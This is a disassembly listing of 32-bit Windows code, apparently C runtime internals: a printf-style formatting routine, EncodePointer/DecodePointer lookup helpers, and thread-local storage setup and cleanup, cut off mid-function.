jz short loc_4117A5
dec eax
dec eax
jz short loc_411771
dec eax
dec eax
jnz loc_411BC0
loc_411771: ; CODE XREF: sub_4113BB+3A4j
; sub_4113BB+3ACj
add dl, 20h
mov [ebp+1F8h+var_270], 1
mov [ebp+1F8h+var_211], dl
loc_41177E: ; CODE XREF: sub_4113BB+459j
; sub_4113BB+51Dj
or [ebp+1F8h+var_210], 40h
cmp [ebp+1F8h+var_218], esi
lea ebx, [ebp+1F8h+var_20C]
mov eax, 200h
mov [ebp+1F8h+var_21C], ebx
mov [ebp+1F8h+var_260], eax
jge loc_411960
mov [ebp+1F8h+var_218], 6
jmp loc_4119AE
; ---------------------------------------------------------------------------
loc_4117A5: ; CODE XREF: sub_4113BB+3A8j
test word ptr [ebp+1F8h+var_210], 830h
jnz short loc_411822
or [ebp+1F8h+var_210], 800h
jmp short loc_411822
; ---------------------------------------------------------------------------
loc_4117B6: ; CODE XREF: sub_4113BB+39Fj
test word ptr [ebp+1F8h+var_210], 830h
jnz short loc_4117C5
or [ebp+1F8h+var_210], 800h
loc_4117C5: ; CODE XREF: sub_4113BB+401j
; sub_4113BB+694j
mov ecx, [ebp+1F8h+var_218]
cmp ecx, 0FFFFFFFFh
jnz short loc_4117D2
mov ecx, 7FFFFFFFh
loc_4117D2: ; CODE XREF: sub_4113BB+410j
add edi, 4
test word ptr [ebp+1F8h+var_210], 810h
mov [ebp+1F8h+var_224], edi
mov edi, [edi-4]
mov [ebp+1F8h+var_21C], edi
jz loc_411B9E
cmp edi, esi
jnz short loc_4117F6
mov eax, off_4231B4
mov [ebp+1F8h+var_21C], eax
loc_4117F6: ; CODE XREF: sub_4113BB+431j
mov eax, [ebp+1F8h+var_21C]
mov [ebp+1F8h+var_23C], 1
jmp loc_411B93
; ---------------------------------------------------------------------------
loc_411805: ; CODE XREF: sub_4113BB+399j
sub eax, 58h
jz loc_411A47
dec eax
dec eax
jz short loc_41186F
sub eax, ecx
jz loc_41177E
dec eax
dec eax
jnz loc_411BC0
loc_411822: ; CODE XREF: sub_4113BB+3F0j
; sub_4113BB+3F9j
add edi, 4
test word ptr [ebp+1F8h+var_210], 810h
mov [ebp+1F8h+var_224], edi
jz short loc_411857
movzx eax, word ptr [edi-4]
push eax
push 200h
lea eax, [ebp+1F8h+var_20C]
push eax
lea eax, [ebp+1F8h+var_220]
push eax
call sub_417CA8
add esp, 10h
test eax, eax
jz short loc_411864
mov [ebp+1F8h+var_248], 1
jmp short loc_411864
; ---------------------------------------------------------------------------
loc_411857: ; CODE XREF: sub_4113BB+473j
mov al, [edi-4]
mov [ebp+1F8h+var_20C], al
mov [ebp+1F8h+var_220], 1
loc_411864: ; CODE XREF: sub_4113BB+491j
; sub_4113BB+49Aj
lea eax, [ebp+1F8h+var_20C]
mov [ebp+1F8h+var_21C], eax
jmp loc_411BC0
; ---------------------------------------------------------------------------
loc_41186F: ; CODE XREF: sub_4113BB+455j
mov eax, [edi]
add edi, 4
cmp eax, esi
mov [ebp+1F8h+var_224], edi
jz short loc_4118A9
mov ecx, [eax+4]
cmp ecx, esi
jz short loc_4118A9
test word ptr [ebp+1F8h+var_210], 800h
movsx eax, word ptr [eax]
mov [ebp+1F8h+var_21C], ecx
jz short loc_4118A1
cdq
sub eax, edx
sar eax, 1
mov [ebp+1F8h+var_23C], 1
jmp loc_411BBD
; ---------------------------------------------------------------------------
loc_4118A1: ; CODE XREF: sub_4113BB+4D3j
mov [ebp+1F8h+var_23C], esi
jmp loc_411BBD
; ---------------------------------------------------------------------------
loc_4118A9: ; CODE XREF: sub_4113BB+4BEj
; sub_4113BB+4C5j
mov eax, off_4231B0
mov [ebp+1F8h+var_21C], eax
push eax
loc_4118B2: ; CODE XREF: sub_4113BB+680j
call sub_40D970
pop ecx
jmp loc_411BBD
; ---------------------------------------------------------------------------
loc_4118BD: ; CODE XREF: sub_4113BB+38Aj
cmp eax, 70h
jg loc_411A4C
jz loc_411A40
cmp eax, 65h
jl loc_411BC0
cmp eax, 67h
jle loc_41177E
cmp eax, 69h
jz short loc_41193C
cmp eax, 6Eh
jz short loc_411907
cmp eax, 6Fh
jnz loc_411BC0
test byte ptr [ebp+1F8h+var_210], 80h
mov [ebp+1F8h+var_220], 8
jz short loc_411947
or [ebp+1F8h+var_210], 200h
jmp short loc_411947
; ---------------------------------------------------------------------------
loc_411907: ; CODE XREF: sub_4113BB+52Bj
mov esi, [edi]
add edi, 4
mov [ebp+1F8h+var_224], edi
call sub_417B33
test eax, eax
jz loc_411CF1
test byte ptr [ebp+1F8h+var_210], 20h
jz short loc_41192B
mov ax, word ptr [ebp+1F8h+var_22C]
mov [esi], ax
jmp short loc_411930
; ---------------------------------------------------------------------------
loc_41192B: ; CODE XREF: sub_4113BB+565j
mov eax, [ebp+1F8h+var_22C]
mov [esi], eax
loc_411930: ; CODE XREF: sub_4113BB+56Ej
mov [ebp+1F8h+var_248], 1
jmp loc_411CC5
; ---------------------------------------------------------------------------
loc_41193C: ; CODE XREF: sub_4113BB+390j
; sub_4113BB+526j
or [ebp+1F8h+var_210], 40h
loc_411940: ; CODE XREF: sub_4113BB+69Cj
mov [ebp+1F8h+var_220], 0Ah
loc_411947: ; CODE XREF: sub_4113BB+541j
; sub_4113BB+54Aj ...
mov ecx, [ebp+1F8h+var_210]
test cx, cx
jns loc_411A96
loc_411953: ; CODE XREF: sub_4113BB+6E0j
mov eax, [edi]
mov edx, [edi+4]
add edi, 8
jmp loc_411ACB
; ---------------------------------------------------------------------------
loc_411960: ; CODE XREF: sub_4113BB+3D8j
jnz short loc_411970
cmp dl, 67h
jnz short loc_4119AE
mov [ebp+1F8h+var_218], 1
jmp short loc_4119AE
; ---------------------------------------------------------------------------
loc_411970: ; CODE XREF: sub_4113BB:loc_411960j
cmp [ebp+1F8h+var_218], eax
jle short loc_411978
mov [ebp+1F8h+var_218], eax
loc_411978: ; CODE XREF: sub_4113BB+5B8j
cmp [ebp+1F8h+var_218], 0A3h
jle short loc_4119AE
mov esi, [ebp+1F8h+var_218]
add esi, 15Dh
push esi
call sub_412323
test eax, eax
mov dl, [ebp+1F8h+var_211]
pop ecx
mov [ebp+1F8h+var_24C], eax
jz short loc_4119A5
mov [ebp+1F8h+var_21C], eax
mov [ebp+1F8h+var_260], esi
mov ebx, eax
jmp short loc_4119AC
; ---------------------------------------------------------------------------
loc_4119A5: ; CODE XREF: sub_4113BB+5DEj
mov [ebp+1F8h+var_218], 0A3h
loc_4119AC: ; CODE XREF: sub_4113BB+5E8j
xor esi, esi
loc_4119AE: ; CODE XREF: sub_4113BB+3E5j
; sub_4113BB+5AAj ...
mov eax, [edi]
add edi, 8
mov [ebp+1F8h+var_278], eax
mov eax, [edi-4]
mov [ebp+1F8h+var_274], eax
lea eax, [ebp+1F8h+var_25C]
push eax
push [ebp+1F8h+var_270]
movsx eax, dl
push [ebp+1F8h+var_218]
mov [ebp+1F8h+var_224], edi
push eax
push [ebp+1F8h+var_260]
lea eax, [ebp+1F8h+var_278]
push ebx
push eax
push off_423DF8
call sub_411DBF
pop ecx
call eax
mov edi, [ebp+1F8h+var_210]
add esp, 1Ch
and edi, 80h
jz short loc_411A0B
cmp [ebp+1F8h+var_218], esi
jnz short loc_411A0B
lea eax, [ebp+1F8h+var_25C]
push eax
push ebx
push off_423E04
call sub_411DBF
pop ecx
call eax
pop ecx
pop ecx
loc_411A0B: ; CODE XREF: sub_4113BB+634j
; sub_4113BB+639j
cmp [ebp+1F8h+var_211], 67h
jnz short loc_411A2A
cmp edi, esi
jnz short loc_411A2A
lea eax, [ebp+1F8h+var_25C]
push eax
push ebx
push off_423E00
call sub_411DBF
pop ecx
call eax
pop ecx
pop ecx
loc_411A2A: ; CODE XREF: sub_4113BB+654j
; sub_4113BB+658j
cmp byte ptr [ebx], 2Dh
jnz short loc_411A3A
or [ebp+1F8h+var_210], 100h
inc ebx
mov [ebp+1F8h+var_21C], ebx
loc_411A3A: ; CODE XREF: sub_4113BB+672j
push ebx
jmp loc_4118B2
; ---------------------------------------------------------------------------
loc_411A40: ; CODE XREF: sub_4113BB+50Bj
mov [ebp+1F8h+var_218], 8
loc_411A47: ; CODE XREF: sub_4113BB+44Dj
mov [ebp+1F8h+var_244], ecx
jmp short loc_411A6D
; ---------------------------------------------------------------------------
loc_411A4C: ; CODE XREF: sub_4113BB+505j
sub eax, 73h
jz loc_4117C5
dec eax
dec eax
jz loc_411940
sub eax, 3
jnz loc_411BC0
mov [ebp+1F8h+var_244], 27h
loc_411A6D: ; CODE XREF: sub_4113BB+68Fj
test byte ptr [ebp+1F8h+var_210], 80h
mov [ebp+1F8h+var_220], 10h
jz loc_411947
mov al, byte ptr [ebp+1F8h+var_244]
add al, 51h
mov [ebp+1F8h+var_230], 30h
mov [ebp+1F8h+var_22F], al
mov [ebp+1F8h+var_234], 2
jmp loc_411947
; ---------------------------------------------------------------------------
loc_411A96: ; CODE XREF: sub_4113BB+592j
test cx, 1000h
jnz loc_411953
add edi, 4
test cl, 20h
jz short loc_411ABE
test cl, 40h
mov [ebp+1F8h+var_224], edi
jz short loc_411AB7
movsx eax, word ptr [edi-4]
jmp short loc_411ABB
; ---------------------------------------------------------------------------
loc_411AB7: ; CODE XREF: sub_4113BB+6F4j
movzx eax, word ptr [edi-4]
loc_411ABB: ; CODE XREF: sub_4113BB+6FAj
cdq
jmp short loc_411ACE
; ---------------------------------------------------------------------------
loc_411ABE: ; CODE XREF: sub_4113BB+6ECj
test cl, 40h
mov eax, [edi-4]
jz short loc_411AC9
cdq
jmp short loc_411ACB
; ---------------------------------------------------------------------------
loc_411AC9: ; CODE XREF: sub_4113BB+709j
xor edx, edx
loc_411ACB: ; CODE XREF: sub_4113BB+5A0j
; sub_4113BB+70Cj
mov [ebp+1F8h+var_224], edi
loc_411ACE: ; CODE XREF: sub_4113BB+701j
test cl, 40h
jz short loc_411AEB
cmp edx, esi
jg short loc_411AEB
jl short loc_411ADD
cmp eax, esi
jnb short loc_411AEB
loc_411ADD: ; CODE XREF: sub_4113BB+71Cj
neg eax
adc edx, 0
neg edx
or [ebp+1F8h+var_210], 100h
loc_411AEB: ; CODE XREF: sub_4113BB+716j
; sub_4113BB+71Aj ...
test word ptr [ebp+1F8h+var_210], 9000h
mov ebx, edx
mov edi, eax
jnz short loc_411AF9
xor ebx, ebx
loc_411AF9: ; CODE XREF: sub_4113BB+73Aj
cmp [ebp+1F8h+var_218], 0
jge short loc_411B08
mov [ebp+1F8h+var_218], 1
jmp short loc_411B19
; ---------------------------------------------------------------------------
loc_411B08: ; CODE XREF: sub_4113BB+742j
and [ebp+1F8h+var_210], 0FFFFFFF7h
mov eax, 200h
cmp [ebp+1F8h+var_218], eax
jle short loc_411B19
mov [ebp+1F8h+var_218], eax
loc_411B19: ; CODE XREF: sub_4113BB+74Bj
; sub_4113BB+759j
mov eax, edi
or eax, ebx
jnz short loc_411B23
and [ebp+1F8h+var_234], 0
loc_411B23: ; CODE XREF: sub_4113BB+762j
lea esi, [ebp+1F8h+var_D]
loc_411B29: ; CODE XREF: sub_4113BB+7A0j
mov eax, [ebp+1F8h+var_218]
dec [ebp+1F8h+var_218]
test eax, eax
jg short loc_411B39
mov eax, edi
or eax, ebx
jz short loc_411B5D
loc_411B39: ; CODE XREF: sub_4113BB+776j
mov eax, [ebp+1F8h+var_220]
cdq
push edx
push eax
push ebx
push edi
call sub_417CD0
add ecx, 30h
cmp ecx, 39h
mov [ebp+1F8h+var_260], ebx
mov edi, eax
mov ebx, edx
jle short loc_411B58
add ecx, [ebp+1F8h+var_244]
loc_411B58: ; CODE XREF: sub_4113BB+798j
mov [esi], cl
dec esi
jmp short loc_411B29
; ---------------------------------------------------------------------------
loc_411B5D: ; CODE XREF: sub_4113BB+77Cj
lea eax, [ebp+1F8h+var_D]
sub eax, esi
inc esi
test word ptr [ebp+1F8h+var_210], 200h
mov [ebp+1F8h+var_220], eax
mov [ebp+1F8h+var_21C], esi
jz short loc_411BC0
test eax, eax
jz short loc_411B7F
mov ecx, esi
cmp byte ptr [ecx], 30h
jz short loc_411BC0
loc_411B7F: ; CODE XREF: sub_4113BB+7BBj
dec [ebp+1F8h+var_21C]
mov ecx, [ebp+1F8h+var_21C]
mov byte ptr [ecx], 30h
inc eax
jmp short loc_411BBD
; ---------------------------------------------------------------------------
loc_411B8B: ; CODE XREF: sub_4113BB+7DAj
dec ecx
cmp [eax], si
jz short loc_411B97
inc eax
inc eax
loc_411B93: ; CODE XREF: sub_4113BB+445j
cmp ecx, esi
jnz short loc_411B8B
loc_411B97: ; CODE XREF: sub_4113BB+7D4j
sub eax, [ebp+1F8h+var_21C]
sar eax, 1
jmp short loc_411BBD
; ---------------------------------------------------------------------------
loc_411B9E: ; CODE XREF: sub_4113BB+429j
cmp edi, esi
jnz short loc_411BAA
mov eax, off_4231B0
mov [ebp+1F8h+var_21C], eax
loc_411BAA: ; CODE XREF: sub_4113BB+7E5j
mov eax, [ebp+1F8h+var_21C]
jmp short loc_411BB6
; ---------------------------------------------------------------------------
loc_411BAF: ; CODE XREF: sub_4113BB+7FDj
dec ecx
cmp byte ptr [eax], 0
jz short loc_411BBA
inc eax
loc_411BB6: ; CODE XREF: sub_4113BB+7F2j
cmp ecx, esi
jnz short loc_411BAF
loc_411BBA: ; CODE XREF: sub_4113BB+7F8j
sub eax, [ebp+1F8h+var_21C]
loc_411BBD: ; CODE XREF: sub_4113BB+4E1j
; sub_4113BB+4E9j ...
mov [ebp+1F8h+var_220], eax
loc_411BC0: ; CODE XREF: sub_4113BB+3B0j
; sub_4113BB+461j ...
cmp [ebp+1F8h+var_248], 0
jnz loc_411CC5
mov eax, [ebp+1F8h+var_210]
test al, 40h
jz short loc_411BF6
test ax, 100h
jz short loc_411BDD
mov [ebp+1F8h+var_230], 2Dh
jmp short loc_411BEF
; ---------------------------------------------------------------------------
loc_411BDD: ; CODE XREF: sub_4113BB+81Aj
test al, 1
jz short loc_411BE7
mov [ebp+1F8h+var_230], 2Bh
jmp short loc_411BEF
; ---------------------------------------------------------------------------
loc_411BE7: ; CODE XREF: sub_4113BB+824j
test al, 2
jz short loc_411BF6
mov [ebp+1F8h+var_230], 20h
loc_411BEF: ; CODE XREF: sub_4113BB+820j
; sub_4113BB+82Aj
mov [ebp+1F8h+var_234], 1
loc_411BF6: ; CODE XREF: sub_4113BB+814j
; sub_4113BB+82Ej
mov ebx, [ebp+1F8h+var_238]
sub ebx, [ebp+1F8h+var_220]
sub ebx, [ebp+1F8h+var_234]
test byte ptr [ebp+1F8h+var_210], 0Ch
jnz short loc_411C16
push [ebp+1F8h+var_228]
lea eax, [ebp+1F8h+var_22C]
push ebx
push 20h
call sub_41134D
add esp, 0Ch
loc_411C16: ; CODE XREF: sub_4113BB+848j
push [ebp+1F8h+var_234]
mov edi, [ebp+1F8h+var_228]
lea eax, [ebp+1F8h+var_22C]
lea ecx, [ebp+1F8h+var_230]
call sub_411371
test byte ptr [ebp+1F8h+var_210], 8
pop ecx
jz short loc_411C43
test byte ptr [ebp+1F8h+var_210], 4
jnz short loc_411C43
push edi
push ebx
push 30h
lea eax, [ebp+1F8h+var_22C]
call sub_41134D
add esp, 0Ch
loc_411C43: ; CODE XREF: sub_4113BB+871j
; sub_4113BB+877j
cmp [ebp+1F8h+var_23C], 0
mov eax, [ebp+1F8h+var_220]
jz short loc_411C9D
test eax, eax
jle short loc_411C9D
mov esi, [ebp+1F8h+var_21C]
mov [ebp+1F8h+var_260], eax
loc_411C56: ; CODE XREF: sub_4113BB+8D8j
movzx eax, word ptr [esi]
dec [ebp+1F8h+var_260]
push eax
push 6
lea eax, [ebp+1F8h+var_C]
push eax
lea eax, [ebp+1F8h+var_268]
inc esi
push eax
inc esi
call sub_417CA8
add esp, 10h
test eax, eax
jnz short loc_411C97
cmp [ebp+1F8h+var_268], eax
jz short loc_411C97
push [ebp+1F8h+var_268]
lea eax, [ebp+1F8h+var_22C]
lea ecx, [ebp+1F8h+var_C]
call sub_411371
cmp [ebp+1F8h+var_260], 0
pop ecx
jnz short loc_411C56
jmp short loc_411CAA
; ---------------------------------------------------------------------------
loc_411C97: ; CODE XREF: sub_4113BB+8BBj
; sub_4113BB+8C0j
or [ebp+1F8h+var_22C], 0FFFFFFFFh
jmp short loc_411CAA
; ---------------------------------------------------------------------------
loc_411C9D: ; CODE XREF: sub_4113BB+88Fj
; sub_4113BB+893j
mov ecx, [ebp+1F8h+var_21C]
push eax
lea eax, [ebp+1F8h+var_22C]
call sub_411371
pop ecx
loc_411CAA: ; CODE XREF: sub_4113BB+8DAj
; sub_4113BB+8E0j
cmp [ebp+1F8h+var_22C], 0
jl short loc_411CC5
test byte ptr [ebp+1F8h+var_210], 4
jz short loc_411CC5
push edi
push ebx
push 20h
lea eax, [ebp+1F8h+var_22C]
call sub_41134D
add esp, 0Ch
loc_411CC5: ; CODE XREF: sub_4113BB+57Cj
; sub_4113BB+809j ...
cmp [ebp+1F8h+var_24C], 0
jz short loc_411CD8 ; default
push [ebp+1F8h+var_24C]
call sub_41112C
and [ebp+1F8h+var_24C], 0
pop ecx
loc_411CD8: ; CODE XREF: sub_4113BB+19Cj
; sub_4113BB+1BFj ...
mov ebx, [ebp+1F8h+var_240] ; default
mov al, [ebx]
test al, al
mov [ebp+1F8h+var_211], al
jz short loc_411D08
mov ecx, [ebp+1F8h+var_26C]
mov edi, [ebp+1F8h+var_224]
mov dl, al
jmp loc_411519
; ---------------------------------------------------------------------------
loc_411CF1: ; CODE XREF: sub_4113BB+36Ej
; sub_4113BB+55Bj
call sub_40F79E
mov dword ptr [eax], 16h
xor eax, eax
push eax
push eax
push eax
push eax
push eax
jmp loc_41142B
; ---------------------------------------------------------------------------
loc_411D08: ; CODE XREF: sub_4113BB+158j
; sub_4113BB+166j ...
cmp [ebp+1F8h+var_250], 0
jz short loc_411D15
mov eax, [ebp+1F8h+var_254]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_411D15: ; CODE XREF: sub_4113BB+951j
mov eax, [ebp+1F8h+var_22C]
loc_411D18: ; CODE XREF: sub_4113BB+88j
mov ecx, [ebp+1F8h+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_410BCD
add ebp, 1F8h
leave
retn
sub_4113BB endp
; ---------------------------------------------------------------------------
db 8Dh, 49h, 0
off_411D33 dd offset loc_4116FD ; DATA XREF: sub_4113BB+1A2r
dd offset loc_411564 ; jump table for switch statement
dd offset loc_41157F
dd offset loc_4115CE
dd offset loc_411608
dd offset loc_411610
dd offset loc_411647
dd offset loc_41173F
; =============== S U B R O U T I N E =======================================
sub_411D53 proc near ; CODE XREF: sub_40DAA8+81p
; sub_40DAA8+96p ...
arg_0 = dword ptr 4
push esi
push dword_4231BC
mov esi, dword_41C140
call esi ; TlsGetValue
test eax, eax
jz short loc_411D87
mov eax, dword_4231B8
cmp eax, 0FFFFFFFFh
jz short loc_411D87
push eax
push dword_4231BC
call esi ; TlsGetValue
call eax
test eax, eax
jz short loc_411D87
mov eax, [eax+1F8h]
jmp short loc_411DA2
; ---------------------------------------------------------------------------
loc_411D87: ; CODE XREF: sub_411D53+11j
; sub_411D53+1Bj ...
push offset aKernel32_dll_0 ; "KERNEL32.DLL"
call dword_41C0C4 ; GetModuleHandleA
test eax, eax
jz short loc_411DB0
push offset aEncodepointer ; "EncodePointer"
push eax
call dword_41C0AC ; GetProcAddress
loc_411DA2: ; CODE XREF: sub_411D53+32j
test eax, eax
jz short loc_411DB0
push [esp+4+arg_0]
call eax
mov [esp+4+arg_0], eax
loc_411DB0: ; CODE XREF: sub_411D53+41j
; sub_411D53+51j
mov eax, [esp+4+arg_0]
pop esi
retn
sub_411D53 endp
; =============== S U B R O U T I N E =======================================
sub_411DB6 proc near ; CODE XREF: sub_412755+1p
; sub_416504+2Fp ...
push 0
call sub_411D53
pop ecx
retn
sub_411DB6 endp
; =============== S U B R O U T I N E =======================================
sub_411DBF proc near ; CODE XREF: sub_40DAA8+Bp
; sub_40DAA8+1Cp ...
arg_0 = dword ptr 4
push esi
push dword_4231BC
mov esi, dword_41C140
call esi ; TlsGetValue
test eax, eax
jz short loc_411DF3
mov eax, dword_4231B8
cmp eax, 0FFFFFFFFh
jz short loc_411DF3
push eax
push dword_4231BC
call esi ; TlsGetValue
call eax
test eax, eax
jz short loc_411DF3
mov eax, [eax+1FCh]
jmp short loc_411E0E
; ---------------------------------------------------------------------------
loc_411DF3: ; CODE XREF: sub_411DBF+11j
; sub_411DBF+1Bj ...
push offset aKernel32_dll_0 ; "KERNEL32.DLL"
call dword_41C0C4 ; GetModuleHandleA
test eax, eax
jz short loc_411E1C
push offset aDecodepointer ; "DecodePointer"
push eax
call dword_41C0AC ; GetProcAddress
loc_411E0E: ; CODE XREF: sub_411DBF+32j
test eax, eax
jz short loc_411E1C
push [esp+4+arg_0]
call eax
mov [esp+4+arg_0], eax
loc_411E1C: ; CODE XREF: sub_411DBF+41j
; sub_411DBF+51j
mov eax, [esp+4+arg_0]
pop esi
retn
sub_411DBF endp
; =============== S U B R O U T I N E =======================================
sub_411E22 proc near ; DATA XREF: sub_41219F+8Ao
call dword_41C144 ; TlsAlloc
retn 4
sub_411E22 endp
; =============== S U B R O U T I N E =======================================
sub_411E2B proc near ; CODE XREF: .vty:0041044Bp
arg_0 = dword ptr 4
push [esp+arg_0]
push dword_4231BC
call dword_41C140 ; TlsGetValue
call eax
retn 4
sub_411E2B endp
; =============== S U B R O U T I N E =======================================
sub_411E40 proc near ; CODE XREF: .vty:00410445p
; .vty:00410459p
mov eax, dword_4231B8
retn
sub_411E40 endp
; =============== S U B R O U T I N E =======================================
sub_411E46 proc near ; CODE XREF: .vty:00410440p
; sub_4104BF+2Fp ...
push dword_4231BC
call dword_41C140 ; TlsGetValue
test eax, eax
jnz short locret_411E6F
push dword_4243A4
call sub_411DBF
pop ecx
push eax
push dword_4231BC
call dword_41C148 ; TlsSetValue
locret_411E6F: ; CODE XREF: sub_411E46+Ej
retn
sub_411E46 endp
; =============== S U B R O U T I N E =======================================
sub_411E70 proc near ; CODE XREF: .vty:0041045Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
push dword_4243A8
call sub_411DBF
pop ecx
call eax
retn 8
sub_411E70 endp
; =============== S U B R O U T I N E =======================================
sub_411E89 proc near ; CODE XREF: sub_41219F+12p
; sub_41219F:loc_412319p
mov eax, dword_4231B8
cmp eax, 0FFFFFFFFh
jz short loc_411EA9
push eax
push dword_4243AC
call sub_411DBF
pop ecx
call eax
or dword_4231B8, 0FFFFFFFFh
loc_411EA9: ; CODE XREF: sub_411E89+8j
mov eax, dword_4231BC
cmp eax, 0FFFFFFFFh
jz short loc_411EC1
push eax
call dword_41C14C ; TlsFree
or dword_4231BC, 0FFFFFFFFh
loc_411EC1: ; CODE XREF: sub_411E89+28j
jmp sub_416C79
sub_411E89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411EC6 proc near ; CODE XREF: sub_4104BF+51p
; sub_411F7A+59p ...
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push 0Ch
push offset dword_41F988
call __SEH_prolog4
push offset aKernel32_dll_0 ; "KERNEL32.DLL"
call dword_41C0C4 ; GetModuleHandleA
mov [ebp+var_1C], eax
mov esi, [ebp+arg_0]
mov dword ptr [esi+5Ch], offset dword_423BE0
xor edi, edi
inc edi
mov [esi+14h], edi
test eax, eax
jz short loc_411F18
push offset aEncodepointer ; "EncodePointer"
push eax
mov ebx, dword_41C0AC
call ebx ; GetProcAddress
mov [esi+1F8h], eax
push offset aDecodepointer ; "DecodePointer"
push [ebp+var_1C]
call ebx ; GetProcAddress
mov [esi+1FCh], eax
loc_411F18: ; CODE XREF: sub_411EC6+2Cj
mov [esi+70h], edi
mov byte ptr [esi+0C8h], 43h
mov byte ptr [esi+14Bh], 43h
mov eax, offset dword_423288
mov [esi+68h], eax
push eax
call dword_41C150 ; InterlockedIncrement
push 0Ch
call sub_416DA6
pop ecx
and [ebp+ms_exc.disabled], 0
mov eax, [ebp+arg_4]
mov [esi+6Ch], eax
test eax, eax
jnz short loc_411F56
mov eax, off_423890
mov [esi+6Ch], eax
loc_411F56: ; CODE XREF: sub_411EC6+86j
push dword ptr [esi+6Ch]
call sub_4133C2
pop ecx
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_411F71
call __SEH_epilog4
retn
sub_411EC6 endp
; =============== S U B R O U T I N E =======================================
sub_411F71 proc near ; CODE XREF: sub_411EC6+A0p
; DATA XREF: .vty:0041F9A0o
push 0Ch
call sub_416CCE
pop ecx
retn
sub_411F71 endp
; =============== S U B R O U T I N E =======================================
sub_411F7A proc near ; CODE XREF: sub_40F6FC+2p sub_40F79Ep ...
push esi
push edi
call dword_41C0A4 ; RtlGetLastWin32Error
mov edi, eax
call sub_411E46
push dword_4231B8
push dword_4231BC
call dword_41C140 ; TlsGetValue
call eax ; sub_41B60D
mov esi, eax
test esi, esi
jnz short loc_411FF1
push 214h
push 1
call sub_412363
mov esi, eax
test esi, esi
pop ecx
pop ecx
jz short loc_411FF1
push esi
push dword_4231B8
push dword_4243A8
call sub_411DBF
pop ecx
call eax ; sub_41B60D
test eax, eax
jz short loc_411FE8
push 0
push esi
call sub_411EC6
pop ecx
pop ecx
call dword_41C120 ; GetCurrentThreadId
or dword ptr [esi+4], 0FFFFFFFFh
mov [esi], eax
jmp short loc_411FF1
; ---------------------------------------------------------------------------
loc_411FE8: ; CODE XREF: sub_411F7A+54j
push esi
call sub_41112C
pop ecx
xor esi, esi
loc_411FF1: ; CODE XREF: sub_411F7A+27j
; sub_411F7A+3Bj ...
push edi
call dword_41C154 ; RtlSetLastWin32Error
pop edi
mov eax, esi
pop esi
retn
sub_411F7A endp
; =============== S U B R O U T I N E =======================================
sub_411FFD proc near ; CODE XREF: sub_40F7E2+Fp sub_40FA79p ...
push esi
call sub_411F7A
mov esi, eax
test esi, esi
jnz short loc_412011
push 10h
call sub_412499
pop ecx
loc_412011: ; CODE XREF: sub_411FFD+Aj
mov eax, esi
pop esi
retn
sub_411FFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412015 proc near ; CODE XREF: .vty:00410496p
; sub_412136+4Fp
; DATA XREF: ...
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 8
push offset dword_41F9A8
call __SEH_prolog4
mov esi, [ebp+arg_0]
test esi, esi
jz loc_412116
mov eax, [esi+24h]
test eax, eax
jz short loc_41203A
push eax
call sub_41112C
pop ecx
loc_41203A: ; CODE XREF: sub_412015+1Cj
mov eax, [esi+2Ch]
test eax, eax
jz short loc_412048
push eax
call sub_41112C
pop ecx
loc_412048: ; CODE XREF: sub_412015+2Aj
mov eax, [esi+34h]
test eax, eax
jz short loc_412056
push eax
call sub_41112C
pop ecx
loc_412056: ; CODE XREF: sub_412015+38j
mov eax, [esi+3Ch]
test eax, eax
jz short loc_412064
push eax
call sub_41112C
pop ecx
loc_412064: ; CODE XREF: sub_412015+46j
mov eax, [esi+44h]
test eax, eax
jz short loc_412072
push eax
call sub_41112C
pop ecx
loc_412072: ; CODE XREF: sub_412015+54j
mov eax, [esi+48h]
test eax, eax
jz short loc_412080
push eax
call sub_41112C
pop ecx
loc_412080: ; CODE XREF: sub_412015+62j
mov eax, [esi+5Ch]
cmp eax, offset dword_423BE0
jz short loc_412091
push eax
call sub_41112C
pop ecx
loc_412091: ; CODE XREF: sub_412015+73j
push 0Dh
call sub_416DA6
pop ecx
and [ebp+ms_exc.disabled], 0
mov edi, [esi+68h]
test edi, edi
jz short loc_4120BE
push edi
call dword_41C158 ; InterlockedDecrement
test eax, eax
jnz short loc_4120BE
cmp edi, offset dword_423288
jz short loc_4120BE
push edi
call sub_41112C
pop ecx
loc_4120BE: ; CODE XREF: sub_412015+8Dj
; sub_412015+98j ...
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_412121
push 0Ch
call sub_416DA6
pop ecx
mov [ebp+ms_exc.disabled], 1
mov edi, [esi+6Ch]
test edi, edi
jz short loc_412103
push edi
call sub_413448
pop ecx
cmp edi, off_423890
jz short loc_412103
cmp edi, offset dword_4237B8
jz short loc_412103
cmp dword ptr [edi], 0
jnz short loc_412103
push edi
call sub_413282
pop ecx
loc_412103: ; CODE XREF: sub_412015+C9j
; sub_412015+D8j ...
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_41212D
push esi
call sub_41112C
pop ecx
loc_412116: ; CODE XREF: sub_412015+11j
call __SEH_epilog4
retn 4
sub_412015 endp
; =============== S U B R O U T I N E =======================================
sub_41211E proc near ; DATA XREF: .vty:0041F9C0o
mov esi, [ebp+8]
sub_41211E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_412121 proc near ; CODE XREF: sub_412015+B0p
push 0Dh
call sub_416CCE
pop ecx
retn
sub_412121 endp
; =============== S U B R O U T I N E =======================================
sub_41212A proc near ; DATA XREF: .vty:0041F9CCo
mov esi, [ebp+8]
sub_41212A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41212D proc near ; CODE XREF: sub_412015+F5p
push 0Ch
call sub_416CCE
pop ecx
retn
sub_41212D endp
; =============== S U B R O U T I N E =======================================
sub_412136 proc near ; CODE XREF: sub_4103C5+28p
arg_0 = dword ptr 4
cmp dword_4231B8, 0FFFFFFFFh
jz short loc_41218B
push edi
mov edi, [esp+4+arg_0]
test edi, edi
jnz short loc_41216E
push esi
push dword_4231BC
mov esi, dword_41C140
call esi ; TlsGetValue
test eax, eax
jz short loc_41216D
push dword_4231B8
push dword_4231BC
